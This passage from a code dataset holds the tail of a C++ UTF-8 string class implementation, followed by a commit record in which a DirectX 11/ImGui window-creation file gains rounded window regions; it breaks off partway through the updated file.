mData.assign(str);\n}\n\nUString& UString::insert(const UString& what, std::size_t where)\n{\n    if( where == 0 )\n    {\n        prepend(what);\n        return *this;\n    }\n    else if( where > length()-1 )\n    {\n        append(what);\n        return *this;\n    }\n\n    UString retStr;\n\n    std::copy(begin(), std::next(begin(), where), std::back_inserter(retStr));\n    retStr.append(what);\n    std::copy(std::next(begin(), where), end(), std::back_inserter(retStr));\n\n    assign(retStr);\n    return *this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Assignment                                                                        \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUString& UString::assign(const UString& str)\n{\n    mData.assign(str.mData);\n    return *this;\n}\n\nUString& UString::assign(const char* str)\n{\n    if( str != nullptr )\n        mData.assign(str);\n    return *this;\n}\n\nUString& UString::operator=(const UString& str)\n{\n    return assign(str);\n}\n\nUString& UString::operator=(const char* str)\n{\n    return assign(str);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Append\/Prepend                                                                    \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUString& UString::append(UChar ch)\n{\n    utf8::append(ch, std::back_inserter(mData));\n    return *this;\n}\n\nUString& UString::append(const char* str)\n{\n    if( str != nullptr )\n        mData.append(str);\n    return *this;\n}\n\nUString& UString::append(const UString& str)\n{\n    mData.append(str.mData);\n    return *this;\n}\n\nvoid UString::push_back(UChar ch)\n{\n    append(ch);\n}\n\nvoid UString::push_back(const UString& str)\n{\n    append(str);\n}\n\nUString& UString::prepend(UChar ch)\n{\n    mData = UString(ch).append(*this).mData;\n    return *this;\n}\n\nUString& UString::prepend(const char *str)\n{\n    mData = UString(str).append(*this).mData;\n    return *this;\n}\n\nUString& UString::prepend(const UString& str)\n{\n    mData = UString(str).append(*this).mData;\n    return *this;\n}\n\nvoid UString::push_front(UChar ch)\n{\n    prepend(ch);\n}\n\nvoid UString::push_front(const UString& str)\n{\n    prepend(str);\n}\n\nUString& UString::operator+=(const UString& str)\n{\n    append(str);\n    return *this;\n}\n\nUString& UString::operator+=(const char* str)\n{\n    append(str);\n    return *this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Comparison                                                                        \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool UString::operator==(const UString& str) const\n{\n    return( mData == str.mData );\n}\n\nbool UString::operator==(const char* str) const\n{\n    return( str && mData == str );\n}\n\nbool UString::operator!=(const UString& str) const\n{\n    return( mData != str.mData );\n}\n\nbool UString::operator!=(const char* str) const\n{\n    return( str && mData != str );\n}\n\nint UString::compare(const UString& other) const\n{\n    return mData.compare(other.mData);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Case Conversion                                                                   \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUString& UString::toLower()\n{\n    UString tmp;\n    for( UChar ch : *this )\n        tmp.append(ch.toLower());\n\n    assign(tmp);\n    return *this;\n}\n\nUString& UString::toUpper()\n{\n    UString tmp;\n    for( UChar ch : *this )\n        tmp.append(ch.toUpper());\n\n    assign(tmp);\n    return *this;\n}\n\nUString& UString::toTitleCase()\n{\n    UString tmp;\n    for( UChar ch : *this )\n        tmp.append(ch.toTitleCase());\n\n    assign(tmp);\n    return *this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Type-Casting                                                                      \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst std::string& UString::toStdString() const\n{\n    return mData;\n}\n\nconst std::u16string UString::toStdU16String() const\n{\n    std::u16string u16str;\n    utf8::utf8to16(mData.begin(), mData.end(), std::back_inserter(u16str));\n    return u16str;\n}\n\nconst std::u32string UString::toStdU32String() const\n{\n    std::u32string u32str;\n    utf8::utf8to32(mData.begin(), mData.end(), std::back_inserter(u32str));\n    return u32str;\n}\n\nUString UString::fromStdU16String(const std::u16string& str)\n{\n    UString retStr;\n    utf8::utf16to8(str.begin(), str.end(), std::back_inserter(retStr.mData));\n    return retStr;\n}\n\nUString UString::fromStdU32String(const std::u32string& str)\n{\n    UString retStr;\n    utf8::utf32to8(str.begin(), str.end(), std::back_inserter(retStr.mData));\n    return retStr;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Size                                                                              \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::size_t UString::length() const\n{\n    return utf8::distance(mData.begin(), mData.end());\n}\n\nstd::size_t UString::size() const\n{\n    return mData.size();\n}\n\nstd::size_t UString::maxSize() const\n{\n    return mData.max_size();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Character Indexing                                                                \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst UChar UString::at(std::size_t i) const\n{\n    utf8::iterator<std::string::const_iterator> iter(mData.begin(), mData.begin(), mData.end());\n    for(std::size_t j = 0; j < utf8::distance(mData.begin(), mData.end()); j++, ++iter)\n    {\n        if( j == i )\n            return *iter;\n    }\n\n    return UCHAR_CODE_NULL;\n}\n\nconst UChar UString::operator[](std::size_t i) const\n{\n    return at(i);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Sub-String                                                                        \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUString UString::subStr(std::size_t start, std::size_t len) const\n{\n    UString retStr;\n    auto startIter = mData.begin();\n    auto endIter   = mData.begin();\n\n    utf8::advance(startIter, start, mData.end());\n    if( len != npos )\n    {\n        endIter = startIter;\n        utf8::advance(endIter, len, mData.end());\n    }\n    else\n        endIter = mData.end();\n\n    std::copy(startIter, endIter, std::back_inserter(retStr.mData));\n    return retStr;\n}\n\nstd::size_t UString::find(UChar ch, std::size_t pos) const\n{\n    auto startIter = begin();\n    if( pos != npos )\n        std::advance(startIter, pos);\n\n    auto iter = std::find(startIter, end(), ch);\n    if( iter != end() )\n        return std::distance(begin(), iter);\n\n    return npos;\n}\n\nstd::size_t UString::find(const UString& find, std::size_t start) const\n{\n    auto startIter = begin();\n    if( start != npos )\n        std::advance(startIter, start);\n\n    auto iter = std::search(startIter, end(), find.begin(), find.end());\n    if( iter != end() )\n        return std::distance(begin(), iter);\n\n    return npos;\n}\n\nstd::size_t UString::findLastOf(UChar ch, std::size_t pos) const\n{\n    auto startIter = rbegin();\n    if( pos != npos )\n        std::advance(startIter, pos);\n\n    auto iter = std::find(startIter, rend(), ch);\n    if( iter != rend() )\n        return length() - std::distance(rbegin(), iter) - 1;\n\n    return npos;\n}\n\nstd::size_t UString::findLastOf(const UString& find, std::size_t pos) const\n{\n    auto startIter = rbegin();\n    if( pos != npos )\n        std::advance(startIter, pos);\n\n    auto iter = std::search(startIter, rend(), find.rbegin(), find.rend());\n    if( iter != rend() )\n        return length() - std::distance(rbegin(), iter) - 1;\n\n    return npos;\n}\n\nUString& UString::replace(std::size_t start, std::size_t len, const UString& with)\n{\n    UString retStr;\n\n    auto firstHalfIter = begin();\n    std::advance(firstHalfIter, start);\n    std::copy(begin(), firstHalfIter, std::back_inserter(retStr));\n\n    retStr.append(with);\n    auto secondHalfIter = begin();\n    std::advance(secondHalfIter, start+len);\n    std::copy(secondHalfIter, end(), std::back_inserter(retStr));\n\n    assign(retStr);\n    return *this;\n}\n\nUString& UString::replaceAll(const UString& what, const UString& with, std::size_t start)\n{\n    UString retStr = *this;\n\n    std::size_t startPos = start;\n    while( (startPos = retStr.find(what, startPos)) != npos )\n    {\n        retStr    = retStr.replace(startPos, what.length(), with);\n        startPos += with.length();\n    }\n\n    assign(retStr);\n    return *this;\n}\n\nUString& UString::replaceFirst(const UString& what, const UString& with, std::size_t start)\n{\n    UString retStr = *this;\n\n    std::size_t pos = retStr.find(what, start);\n    if( pos != npos )\n        retStr = retStr.replace(pos, what.length(), with);\n\n    assign(retStr);\n    return *this;\n}\n\nUString& UString::replaceLast(const UString& what, const UString& with, std::size_t end)\n{\n    UString retStr = *this;\n    if( end != npos )\n        end = length() - end;\n\n    std::size_t pos = retStr.findLastOf(what, end);\n\n    if( pos != npos )\n        retStr = retStr.replace(pos-what.length()+1, what.length(), with);\n\n    assign(retStr);\n    return *this;\n}\n\nUString& UString::clear()\n{\n    mData.clear();\n    return *this;\n}\n\nUString& UString::erase(const UString::Iterator& start, const UString::Iterator& stop)\n{\n    UString retStr;\n\n    std::copy(begin(), start, std::back_inserter(retStr));\n    std::copy(stop, end(), std::back_inserter(retStr));\n\n    assign(retStr);\n    return *this;\n}\n\nUString& UString::erase(std::size_t start, std::size_t num)\n{\n    if( start == 0 )\n    {\n        assign(subStr(num));\n        return *this;\n    }\n    else if( start == length()-1 )\n    {\n        assign(subStr(0, length()-1));\n        return *this;\n    }\n\n    UString retStr;\n    auto firstHalfIter = begin();\n    auto secondHalfIter = begin();\n\n    std::advance(firstHalfIter, start);\n    std::advance(secondHalfIter, start+num);\n\n    std::copy(begin(), firstHalfIter, std::back_inserter(retStr));\n    std::copy(secondHalfIter, end(), std::back_inserter(retStr));\n\n    assign(retStr);\n    return *this;\n}\n\nstd::ostream& operator<<(std::ostream& os, const UString& str)\n{\n    os << str.toStdString();\n    return os;\n}\n\nbool operator<(const UString &str1, const UString &str2)\n{\n    return( str1.toStdString() < str2.toStdString() );\n}<|endoftext|>"}
{"text":"<commit_before>#include \"Gfx.h\"\n#include \"DX11.h\"\n#include \"Gui.h\"\n#include <dxgi1_2.h>\n#include <imgui\/imgui.h>\n#include <utils_window.h>\n#include <utils_dwm.h>\n#include <bblib\/logging.h>\n\nnamespace bb {\n\n\tGfx::~Gfx () { }\n\n\tbool Gfx::Init ()\n\t{\n\t\tTRACE_MSG(LL_INFO, CTX_BB | CTX_INIT, \"Initializing gfx\");\n\t\tm_dx11 = new DX11;\n\t\tif (m_dx11->CreateDeviceD3D(nullptr) < 0)\n\t\t{\n\t\t\tTRACE_MSG(LL_ERROR, CTX_BB | CTX_GFX | CTX_INIT, \"Cannot create DX11 device\");\n\t\t\tm_dx11->CleanupDeviceD3D();\n\t\t\treturn false;\n\t\t}\n\t\tTRACE_MSG(LL_INFO, CTX_BB | CTX_GFX | CTX_INIT, \"Created DX11 device\");\n\t\treturn true;\n\t}\n\n\tHWND Gfx::MkWindow (void * gui, int x, int y, int w, int h, int alpha, wchar_t const * clname, wchar_t const * wname)\n\t{\n\t\tWNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_CLASSDC, &Gui::GuiWndProcDispatch, 0L, 0L, ::GetModuleHandle(NULL), NULL, ::LoadCursor(NULL, IDC_ARROW), NULL, NULL, clname, NULL };\n\t\t::RegisterClassEx(&wc);\n\n\t\tbool const dwm_on = isDwmEnabled();\n\t\tDWORD f = 0;\n\t\tif (dwm_on)\n\t\t\tf |= WS_EX_LAYERED;\n\t\tHWND hwnd = ::CreateWindowExW(\n\t\t\t  f\n\t\t\t, clname\n\t\t\t, wname\n\t\t\t\/\/, WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX\n\t\t\t, 0\n\t\t\t, x, y, w, h\n\t\t\t, NULL\n\t\t\t, NULL\n\t\t\t, wc.hInstance\n\t\t\t, gui);\n\n\t\tif (dwm_on)\n\t\t\tSetLayeredWindowAttributes(hwnd, RGB(0, 0, 0), alpha, ULW_ALPHA);\n\t\tremoveWindowBorder(hwnd); \/\/ @TODO: removeWindowBorder triggers WM_PAINT but it's too early (will be ignored)\n\n\t\tTRACE_MSG(LL_INFO, CTX_BB | CTX_GFX, \"Created window for gui (dwm=%u), hwnd=0x%08x\", dwm_on, hwnd);\n\t\treturn hwnd;\n\t}\n\n\tGfxWindow * Gfx::MkGfxWindow (HWND hwnd, Gui * gui, wchar_t const * clname, wchar_t const * wname)\n\t{\n\t\tGfxWindowPtr w(new GfxWindow);\n\t\tw->m_hwnd = hwnd;\n\t\tw->m_chain = m_dx11->CreateSwapChain(hwnd);\n\t\tw->m_view = nullptr; \/\/ created in WM_SIZE\n\t\tw->m_clName = std::move(bbstring(clname));\n\t\tw->m_wName = std::move(bbstring(wname));\n\t\tif (!w->m_gui)\n\t\t{\n\t\t\tw->m_gui = gui;\n\t\t\tw->m_gui->m_name = wname;\n\t\t\tw->m_gui->m_enabled = true;\n\t\t\tw->m_gui->m_gfxWindow = w.get();\n\t\t\tw->m_gui->m_dx11 = m_dx11;\n\t\t\tw->m_gui->Init(hwnd, m_dx11);\n\t\t}\n\t\tm_windows.push_back(std::move(w));\n\t\treturn m_windows.back().get();\n\t}\n\n\tGfxWindow * Gfx::MkGuiWindow (int x, int y, int w, int h, int alpha, wchar_t const * clname, wchar_t const * wname, bool show)\n\t{\n\t\tTRACE_SCOPE(LL_INFO, CTX_BB | CTX_GFX);\n\t\tGui * gui = new Gui;\n\t\tTRACE_MSG(LL_INFO, CTX_BB | CTX_GFX, \"Created new gui @ 0x%x wname=%ws\", gui, wname);\n\t\tHWND hwnd = MkWindow(static_cast<void *>(gui), x, y, w, h, alpha, clname, wname);\n\t\tGfxWindow * res = MkGfxWindow(hwnd, gui, clname, wname);\n\n\t\t::ShowWindow(hwnd, show ? SW_SHOW : SW_HIDE);\n\t\tshowInFromTaskBar(hwnd, false);\n\t\treturn res;\n\t}\n\n\tbool Gfx::Done ()\n\t{\n\t\tTRACE_MSG(LL_INFO, CTX_BB | CTX_GFX, \"Terminating gfx\");\n\t\tm_dx11->CleanupDeviceD3D();\n\t\tdelete m_dx11;\n\t\tm_dx11 = nullptr;\n\t\treturn true;\n\t}\n\n\tvoid Gfx::NewFrame ()\n\t{\n\t\tfor (GfxWindowPtr & w : m_windows)\n\t\t{\n\t\t\tw->NewFrame();\n\t\t}\n\t}\n\n\tvoid Gfx::Render ()\n\t{\n\t\tif (IsReady())\n\t\t{\n\t\t\tm_iconCache.Update();\n\t\t\tfor (GfxWindowPtr & w : m_windows)\n\t\t\t{\n\t\t\t\tw->Render();\n\t\t\t}\n\t\t}\n\t}\n\n#define USE_DYNAMIC_UPDATE 0\n\n\tID3D11ShaderResourceView * Gfx::MkIconResourceView (uint32_t x, uint32_t y, uint32_t bits, uint8_t * bmpdata)\n\t{\n\t\tID3D11ShaderResourceView * texview = nullptr;\n\n\t\tD3D11_TEXTURE2D_DESC texdesc = CD3D11_TEXTURE2D_DESC(\n\t\t\t\tDXGI_FORMAT_B8G8R8A8_UNORM\n\t\t\t,\tx, y\n\t\t\t, 1, 1\t\t\t\t\/\/ arraySize, mipLevels\n\t\t\t, D3D11_BIND_SHADER_RESOURCE\t\t\/\/ bindFlags\n#if USE_DYNAMIC_UPDATE\n\t\t\t, D3D11_USAGE_DYNAMIC\t\t\t\t\t\t\/\/ dynamic usage. just for testing, default shoud be better (updates of icon textures should be rare)\n\t\t\t, D3D11_CPU_ACCESS_WRITE\t\t\t\t\/\/ cpuaccessFlags\n#else\n\t\t\t, D3D11_USAGE_DEFAULT\t\t\t\t\t\t\/\/ default usage.\n\t\t\t, 0\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/ cpuaccessFlags\n#endif\n\t\t\t, 1, 0, 0\t\t\t\/\/ sampleCount, sampleQuality, miscFlags\n\t\t\t);\n\n\t\tD3D11_SUBRESOURCE_DATA data;\n\t\tmemset(&data, 0, sizeof(D3D11_SUBRESOURCE_DATA));\n\n\t\tdata.pSysMem = bmpdata;\n\t\tdata.SysMemPitch = bits \/ 8 * x; \/\/ line size in byte\n\t\tdata.SysMemSlicePitch = 0;\n\t\tID3D11Texture2D * texture = nullptr;\n\t\tHRESULT hr = m_dx11->m_pd3dDevice->CreateTexture2D(&texdesc, &data, &texture);\n\n\t\tD3D11_SHADER_RESOURCE_VIEW_DESC viewdesc;\n\t\tmemset(&viewdesc, 0, sizeof(viewdesc));\n\t\tviewdesc.Format = texdesc.Format;\n\t\tviewdesc.ViewDimension = D3D11_SRV_DIMENSION_TEXTURE2D;\n\t\tviewdesc.Texture2D.MipLevels = 0;\n\t\tviewdesc.Texture2D.MostDetailedMip = texdesc.MipLevels;\n\n\t\tHRESULT hr_view = m_dx11->m_pd3dDevice->CreateShaderResourceView(texture, nullptr, &texview);\n\n\t\ttexture->Release();\n\t\treturn texview;\n\t}\n\n\tbool Gfx::UpdateIconResourceView (uint32_t x, uint32_t y, uint32_t bits, uint8_t * bmpdata, ID3D11ShaderResourceView * view)\n\t{\n#if USE_DYNAMIC_UPDATE\n\t\tD3D11_MAPPED_SUBRESOURCE mappedResource;\n\t\tmemset(&mappedResource, 0, sizeof(D3D11_MAPPED_SUBRESOURCE));\n\n\t\tm_dx11->m_pd3dDeviceContext->Map(view->Get(), 0, D3D11_MAP_WRITE_DISCARD, 0, &mappedResource);\n\t\tmemcpy(mappedResource.pData, bmpdata, x * y * bits \/ CHAR_BIT);\n\t\tm_dx11->m_pd3dDeviceContext->Unmap(vertexBuffer2.Get(), 0);\n#else\n\t\tD3D11_SUBRESOURCE_DATA data;\n\t\tmemset(&data, 0, sizeof(D3D11_SUBRESOURCE_DATA));\n\t\tdata.pSysMem = bmpdata;\n\t\tdata.SysMemPitch = bits \/ 8 * x; \/\/ line size in byte\n\t\tdata.SysMemSlicePitch = 0;\n\t\t\/\/ @NOTE: UpdateSubresource can update only portion of texture.. make use of it @TODO\n\t\t\/\/\t\t\tID3D11Texture2D * texture = nullptr;\n\t\t\/\/\t\t\tHRESULT hr = m_dx11->m_pd3dDevice->UpdateSubresource();\n\t\t\/\/\t\t\tHRESULT hr = m_dx11->m_pd3dDevice->CreateTexture2D(&texdesc, &data, &texture);\n\t\treturn true;\n#endif\n\t}\n\n}\n<commit_msg>* rounded win for widgets (including kosmological constant)<commit_after>#include \"Gfx.h\"\n#include \"DX11.h\"\n#include \"Gui.h\"\n#include <dxgi1_2.h>\n#include <imgui\/imgui.h>\n#include <utils_window.h>\n#include <utils_dwm.h>\n#include <bblib\/logging.h>\n\nnamespace bb {\n\n\tGfx::~Gfx () { }\n\n\tbool Gfx::Init ()\n\t{\n\t\tTRACE_MSG(LL_INFO, CTX_BB | CTX_INIT, \"Initializing gfx\");\n\t\tm_dx11 = new DX11;\n\t\tif (m_dx11->CreateDeviceD3D(nullptr) < 0)\n\t\t{\n\t\t\tTRACE_MSG(LL_ERROR, CTX_BB | CTX_GFX | CTX_INIT, \"Cannot create DX11 device\");\n\t\t\tm_dx11->CleanupDeviceD3D();\n\t\t\treturn false;\n\t\t}\n\t\tTRACE_MSG(LL_INFO, CTX_BB | CTX_GFX | CTX_INIT, \"Created DX11 device\");\n\t\treturn true;\n\t}\n\n\tHWND Gfx::MkWindow (void * gui, int x, int y, int w, int h, int alpha, wchar_t const * clname, wchar_t const * wname)\n\t{\n\t\tWNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_CLASSDC, &Gui::GuiWndProcDispatch, 0L, 0L, ::GetModuleHandle(NULL), NULL, ::LoadCursor(NULL, IDC_ARROW), NULL, NULL, clname, NULL };\n\t\t::RegisterClassEx(&wc);\n\n\t\tbool const dwm_on = isDwmEnabled();\n\t\tDWORD f = 0;\n\t\tif (dwm_on)\n\t\t\tf |= WS_EX_LAYERED;\n\t\tHWND hwnd = ::CreateWindowExW(\n\t\t\t  f\n\t\t\t, clname\n\t\t\t, wname\n\t\t\t\/\/, WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX\n\t\t\t, 0\n\t\t\t, x, y, w, h\n\t\t\t, NULL\n\t\t\t, NULL\n\t\t\t, wc.hInstance\n\t\t\t, gui);\n\n\t\tif (dwm_on)\n\t\t\tSetLayeredWindowAttributes(hwnd, RGB(0, 0, 0), alpha, ULW_ALPHA);\n\t\tremoveWindowBorder(hwnd); \/\/ @TODO: removeWindowBorder triggers WM_PAINT but it's too early (will be ignored)\n\n\t\tTRACE_MSG(LL_INFO, CTX_BB | CTX_GFX, \"Created window for gui (dwm=%u), hwnd=0x%08x\", dwm_on, hwnd);\n\t\treturn hwnd;\n\t}\n\n\tGfxWindow * Gfx::MkGfxWindow (HWND hwnd, Gui * gui, wchar_t const * clname, wchar_t const * wname)\n\t{\n\t\tGfxWindowPtr w(new GfxWindow);\n\t\tw->m_hwnd = hwnd;\n\t\tw->m_chain = m_dx11->CreateSwapChain(hwnd);\n\t\tw->m_view = nullptr; \/\/ created in WM_SIZE\n\t\tw->m_clName = std::move(bbstring(clname));\n\t\tw->m_wName = std::move(bbstring(wname));\n\t\tif (!w->m_gui)\n\t\t{\n\t\t\tw->m_gui = gui;\n\t\t\tw->m_gui->m_name = wname;\n\t\t\tw->m_gui->m_enabled = true;\n\t\t\tw->m_gui->m_gfxWindow = w.get();\n\t\t\tw->m_gui->m_dx11 = m_dx11;\n\t\t\tw->m_gui->Init(hwnd, m_dx11);\n\t\t}\n\t\tm_windows.push_back(std::move(w));\n\t\treturn m_windows.back().get();\n\t}\n\n\tGfxWindow * Gfx::MkGuiWindow (int x, int y, int w, int h, int alpha, wchar_t const * clname, wchar_t const * wname, bool show)\n\t{\n\t\tTRACE_SCOPE(LL_INFO, CTX_BB | CTX_GFX);\n\t\tGui * gui = new Gui;\n\t\tTRACE_MSG(LL_INFO, CTX_BB | CTX_GFX, \"Created new gui @ 0x%x wname=%ws\", gui, wname);\n\t\tHWND hwnd = MkWindow(static_cast<void *>(gui), x, y, w, h, alpha, clname, wname);\n\t\tGfxWindow * res = MkGfxWindow(hwnd, gui, clname, wname);\n\n\t\t\/\/ @TODO: find better place for this\n\t\tImGuiStyle & style = ImGui::GetStyle();\n\t\tRECT rect;\r\n\t\t::GetClientRect(hwnd, &rect);\r\n\t\tint const cst = style.WindowRounding; \/\/ Cimrmanova opravna cst\r\n\t\tHRGN hrgn = ::CreateRoundRectRgn(0, 0, rect.right, rect.bottom, style.WindowRounding + cst, style.WindowRounding + cst);\r\n\t\t::SetWindowRgn(hwnd, hrgn, TRUE);\r\n\t\t::SetPropW(hwnd, L\"region\", hrgn);\n\t\t\/\/@TODO on destroy\n\t\t\/\/DeleteObject(GetProp(hWnd, \"region\"));\r\n\t\t\/\/RemoveProp(hWnd, \"region\")\n\n\t\t::ShowWindow(hwnd, show ? SW_SHOW : SW_HIDE);\n\t\tshowInFromTaskBar(hwnd, false);\n\t\treturn res;\n\t}\n\n\tbool Gfx::Done ()\n\t{\n\t\tTRACE_MSG(LL_INFO, CTX_BB | CTX_GFX, \"Terminating gfx\");\n\t\tm_dx11->CleanupDeviceD3D();\n\t\tdelete m_dx11;\n\t\tm_dx11 = nullptr;\n\t\treturn true;\n\t}\n\n\tvoid Gfx::NewFrame ()\n\t{\n\t\tfor (GfxWindowPtr & w : m_windows)\n\t\t{\n\t\t\tw->NewFrame();\n\t\t}\n\t}\n\n\tvoid Gfx::Render ()\n\t{\n\t\tif (IsReady())\n\t\t{\n\t\t\tm_iconCache.Update();\n\t\t\tfor (GfxWindowPtr & w : m_windows)\n\t\t\t{\n\t\t\t\tw->Render();\n\t\t\t}\n\t\t}\n\t}\n\n#define USE_DYNAMIC_UPDATE 0\n\n\tID3D11ShaderResourceView * Gfx::MkIconResourceView (uint32_t x, uint32_t y, uint32_t bits, uint8_t * bmpdata)\n\t{\n\t\tID3D11ShaderResourceView * texview = nullptr;\n\n\t\tD3D11_TEXTURE2D_DESC texdesc = CD3D11_TEXTURE2D_DESC(\n\t\t\t\tDXGI_FORMAT_B8G8R8A8_UNORM\n\t\t\t,\tx, y\n\t\t\t, 1, 1\t\t\t\t\/\/ arraySize, mipLevels\n\t\t\t, D3D11_BIND_SHADER_RESOURCE\t\t\/\/ bindFlags\n#if USE_DYNAMIC_UPDATE\n\t\t\t, D3D11_USAGE_DYNAMIC\t\t\t\t\t\t\/\/ dynamic usage. just for testing, default shoud be better (updates of icon textures should be rare)\n\t\t\t, D3D11_CPU_ACCESS_WRITE\t\t\t\t\/\/ cpuaccessFlags\n#else\n\t\t\t, D3D11_USAGE_DEFAULT\t\t\t\t\t\t\/\/ default usage.\n\t\t\t, 0\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/ cpuaccessFlags\n#endif\n\t\t\t, 1, 0, 0\t\t\t\/\/ sampleCount, sampleQuality, miscFlags\n\t\t\t);\n\n\t\tD3D11_SUBRESOURCE_DATA data;\n\t\tmemset(&data, 0, sizeof(D3D11_SUBRESOURCE_DATA));\n\n\t\tdata.pSysMem = bmpdata;\n\t\tdata.SysMemPitch = bits \/ 8 * x; \/\/ line size in byte\n\t\tdata.SysMemSlicePitch = 0;\n\t\tID3D11Texture2D * texture = nullptr;\n\t\tHRESULT hr = m_dx11->m_pd3dDevice->CreateTexture2D(&texdesc, &data, &texture);\n\n\t\tD3D11_SHADER_RESOURCE_VIEW_DESC viewdesc;\n\t\tmemset(&viewdesc, 0, sizeof(viewdesc));\n\t\tviewdesc.Format = 